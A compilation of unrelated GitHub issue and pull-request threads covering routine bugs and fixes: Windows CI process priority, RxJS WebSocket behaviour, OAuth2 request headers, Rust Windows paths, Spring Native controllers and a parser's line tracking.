This fix intends to prevent test insntace termination caused by watchdog process not responding.
I'm not 100% sure how priority improves the situation though.
Examples of instance termination (multiple Execution tab):
https://ci.preferred.jp/cupy.experimental.win.cuda100/70115/
https://ci.preferred.jp/cupy.experimental.win.cuda100/70105/
https://ci.preferred.jp/cupy.experimental.win.cuda100/70103/

/test

Test passed. Process prioritized successfully (ReturnValue = 0).
00:00:08.484324 STDOUT 3772] | Prioritizing FlexCI daemon process... |
00:00:08.593693 STDOUT 3772] | Executing (\\WINSERVER2016-G\ROOT\CIMV2:Win32_Process.Handle="2652")->setpriority() |
00:00:08.615216 STDOUT 3772] | Method execution successful. |
00:00:08.615216 STDOUT 3772] | Out Parameters: |
00:00:08.615216 STDERR 3772] |   |
00:00:08.615216 STDOUT 3772] | instance of __PARAMETERS |
00:00:08.615216 STDOUT 3772] | { |
00:00:08.615216 STDOUT 3772] | ReturnValue = 0; |
00:00:08.615216 STDOUT 3772] | };


Add animated logo

I thought it would be cool to have a version of the hydrogen logo where the electron orbited the proton. Might be good for a loading icon or something.

Cool!

Cool!
Do you want to add it to our readme, similar to the logo in https://github.com/nteract/nteract?
We can even try and use it for our autocomplete results if it's not too distracting having multiple spinning icons 😉

The reason I started experimenting with this was I thought it would be a cool "spinner" during cell loading. Or even if a logo popped up and did one orbit before output is displayed (then disappears).
As a user I'd like to have a clear way of knowing: I just ran something with hydrogen and not (for example) the Julia console. Although, I also don't want clutter.
But for now, I thought this looked cool enough to share!


Fixing the reduce documentation

The order of the parameters documentation was wrong, reduce callback will receive the accumulator first, item from the array and then the index of the item

Thanks!


RXJS6 WebSocketSubject next sends message both to server and subscribers.

RxJS version: 6.5.4 (TypeScript)
Code to reproduce:
import {webSocket, WebSocketSubject, WebSocketSubjectConfig} from 'rxjs/webSocket';

// 1. Build a config. Deserializer does some verification related to checksum attached to the message, and then does JSON.parse.
const config: WebSocketSubjectConfig = {
    url: WebsocketEndpoint,
    deserializer: e => this.serializer.deserializeMessages(e.data),
};

// 2. Create a new websocket subject.
this.conn = webSocket(config);

// 3. Process received messages. We expect only messages received from server to be received here.
this.conn.subscribe((v) => console.log(v));

// 4. Try to send some data to the socket.
this.conn.next([{id: 'c09fb7f8-a4a6-4d27-9168-0a4a49c40500', type: 1}]);

Expected behavior:
Only the server receives messages as it is stated in the documentation:

Calling next does not affect subscribers of WebSocketSubject - they have no information that something was sent to the server.
https://rxjs.dev/api/webSocket/webSocket#description

Actual behavior:

Server receives the data as it should.
:boom:  Client also receives the message by the subscription which should not happen.

Additional information:
The complete method is not called on the subject (thought of it as a possible reason). The data is not sent back by the server. Exact the same data which was next()-ed is being sent to the subscriber.

Hey,
I am using V6.5.2 and i am not getting same message back which i sent to socket (server). Using RxJS on Angular 7. Not issues here.


The grant type was not specified in the request

Hello, I have one problem. When I whant to send request on this address http://api.testk0v4.xyz/oauth2/token, I have got Error 400 with code:0 and message:"The grant type was not specified in the request".
The most intresting, that on my local site all work good, but on the VDS I have this problem, and this problem appeared today.
Please, explain what the problem is, thanks.

You didn't specify which grant type you are dealing with. Can you post your json?

{"grant_type":"password", "username":"test", "password":"111111", "client_id":"testclient","client_secret":"testpass"}

How do you send it? Check if content type is set to JSON and the request is post

Thank you, I was very inattentive, I forget to write charset=UTF-8 inside Content-Type.
All in all, my header look:
Accept: application/json
Content-Type: application/json; charset=UTF-8

You are welcome@


fix: Switch to preview mode performance issue

Description

Reverts the RenderModes.PREVIEW logic.
This helps resolve the edit -> preview -> edit switch performance.

Fixes #18475
Fixes #18458
Type of change

Bug fix (non-breaking change which fixes an issue)

How Has This Been Tested?

Manual
Cypress tests pending

Checklist:
Dev activity

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[PENDING] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[NA] PR is being merged under a feature flag

QA activity:

[ ] Test plan has been approved by relevant developers
[ ] Test plan has been peer reviewed by QA
[ ] Cypress test cases have been added and approved by either SDET or manual QA
[ ] Organized project review call with relevant stakeholders after Round 1/2 of QA
[ ] Added Test Plan Approved label after reveiwing all Cypress test

In conjunction with RenderModes.PREVIEW (when all widgets used to re-render), we used to get (Committing Changes) Warning: Lifecycle hook scheduled a cascading update
Basically, for reasons I couldn't figure out, widgets like MultiSelect widget which has a lot of internal renders, used to block the thread for seconds. The cause of this was that we were somehow sending updates rapidly, even before React had a chance to commit it to the DOM. This resulted in a UI freeze.

/ok-to-test sha=33cf3ac

/ok-to-test sha=ca1dde6

/ok-to-test sha=50b2195

/ok-to-test sha=734222b


[$500] Chat - User is able to chat with secondary contact

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:
Precondition: another user should already have added the contact used in below steps in contact methods but it shouldn't be verified

Open the app
Open search
Search for contact method which is already added by another user but it is still not verified
Select the result and send few messages
Open settings->profile->contact methods->Add
Add contact method used in step 3
Verify the contact method
Close RHN, observe that app still shows the chat with contact method which is now added as secondary contact
Send few messages and observe that app allows to send messages without triggering error

Expected Result:
App should remove the chat with that contact from reports once we add that contact in contact methods
Actual Result:
App does not remove the chat with that contact from reports even after we add that contact in contact methods and app also allows user to send more messages without error
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[x] Android / native
[x] Android / Chrome
[x] iOS / native
[x] iOS / Safari
[x] MacOS / Chrome / Safari
[x] MacOS / Desktop

Version Number: <IP_ADDRESS>
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/e36065cc-0994-4360-8c63-7a55e68ee5a7
https://github.com/Expensify/App/assets/93399543/f12e2647-2128-424a-85d9-c081e954f406
https://github.com/Expensify/App/assets/93399543/9826a06e-49bf-4667-b076-b4b64fa96898
https://github.com/Expensify/App/assets/93399543/5560f104-ee2e-4dd1-8bf2-43c9caa45fd2
https://github.com/Expensify/App/assets/93399543/5f20ca1d-820f-4877-bee4-c3f6e9b0cb8e
https://github.com/Expensify/App/assets/93399543/06f2a89b-e7c7-4807-8541-293946b369ee
https://github.com/Expensify/App/assets/93399543/7237a215-6047-41b2-8a6b-3c59d5f8a9e4
Expensify/Expensify Issue URL:
Issue reported by: @dhanashree-sawant
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1696678653235509
View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~01336072c3cf146b82
Upwork Job ID:<PHONE_NUMBER>830731264
Last Price Increase: 2023-10-16

This isn't a bug - it's a flow that a real user wouldn't ever take, and even if they do, its expected that they'd be able to chat this way. Closing this one out.


[AMBARI-24679] Fix race condition in agent during registration and topology updates.

What changes were proposed in this pull request?
Fix race condition in agent which causes current host info to be added to topology.
How was this patch tested?
Manually tested.

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/Ambari-Github-PullRequest-Builder/4041/
Test PASSed.


Min and max range for range calender

how can i set values for minimum and maximum values.
there is a method "setup" in which i can set minimum date but what about maximum date ?
Please help.

The setup method allows you to set values for start and end months. Is that what you mean?

The described feature is supported by the library so I'll have to close this issue. Feel free to create a new issue if you need further assistance.


Support for custom paths

Feature Request
How do I set the save path?
c:\aa\cell_formats.xlsx
workbook.save("c:\aa\cell_formats.xlsx")?;

This is a general issue when working with Windows paths. The problem here is that \a and \c are control character in Rust/ASCII so you can't use them in a string.
error: unknown character escape: `a`
 --> src\main.rs:8:23
  |
8 |     workbook.save("c:\aa\cell_formats.xlsx")?;
  |                       ^ unknown character escape
  |

You can either use forward slashes:
   workbook.save("c:/aa/cell_formats.xlsx")?;

Or escape the escapes:
    workbook.save("c:\\aa\\cell_formats.xlsx")?;

Thank !


RestController with Annotations at the Service Interface is not working in native Mode

Imagine an interface and an Implementing Restcontroller Class like below.
While everything works like a charm in JVM mode and I've been using this for years,
its not working in native mode.
The Application crashes with the Exception below:
org.springframework.http.converter.HttpMessageNotWritableException: No converter for [class org.goafabric.calleeservice.service.Callee] with preset Content-Type 'null'
Calle is just a simple Pojo ....
--- Interface ---
@RequestMapping(value = "callees", produces = MediaType.APPLICATION_JSON_VALUE)
public interface CalleeService {
@GetMapping("sayMyName")
Callee sayMyName (@RequestParam String name);
@GetMapping("sayMyOtherName/{name}")
Callee sayMyOtherName(@PathVariable String name);

}
--- Implementing class ---
And an implementing class
@RestController
public class CalleeServiceBean implements CalleeService {
@Autowired
CalleeLogic calleeLogic;
public Callee sayMyName (@RequestParam String name) {
    return calleeLogic.sayMyName(name);
}

}
--- Complete Exception ---
org.springframework.http.converter.HttpMessageNotWritableException: No converter for [class org.goafabric.calleeservice.service.Callee] with preset Content-Type 'null'
at org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor.writeWithMessageConverters(AbstractMessageConverterMethodProcessor.java:312) ~[na:na]
at org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.handleReturnValue(RequestResponseBodyMethodProcessor.java:183) ~[na:na]
at org.springframework.web.method.support.HandlerMethodReturnValueHandlerComposite.handleReturnValue(HandlerMethodReturnValueHandlerComposite.java:78) ~[na:na]
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:124) ~[na:na]
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895) ~[org.goafabric.calleeservice.Application:5.3.9]

@goafabric Could you test if this is still an issue with 0.11.0-SNAPSHOT or the upcoming 0.11.0-M1?

@sdeleuze yes sure, can do that,thx

Please provide a repro for this using 0.11.0-RC1 and I will have a deeper loop. Please avoid adding springdoc-openapi-ui  to the mix.

@sdeleuze thx for your time and support .. Service Interface seems to work with 0.11.0-RC1 and for the Spring Security Problem we already have another issue .. so i think you can close this one
one more thing, concerning https://github.com/spring-projects-experimental/spring-native/issues/949 I added another comment after it's closed, at least with 10.4 the issue is till open for me
but i can retry with 0.11-0-RC
thx again for your time and effort for everything spring native,
regards
Andreas


Incorrect line numbers in fallback parser

Location tracking is off in the fallback parser. (Thanks @gthess)

In #117 the parser code was completely overhauled and all parsers use the same code now. So, there may still be issues with keeping line count (#133), but at least they'll get noticed by people using machines from this decade :sweat_smile: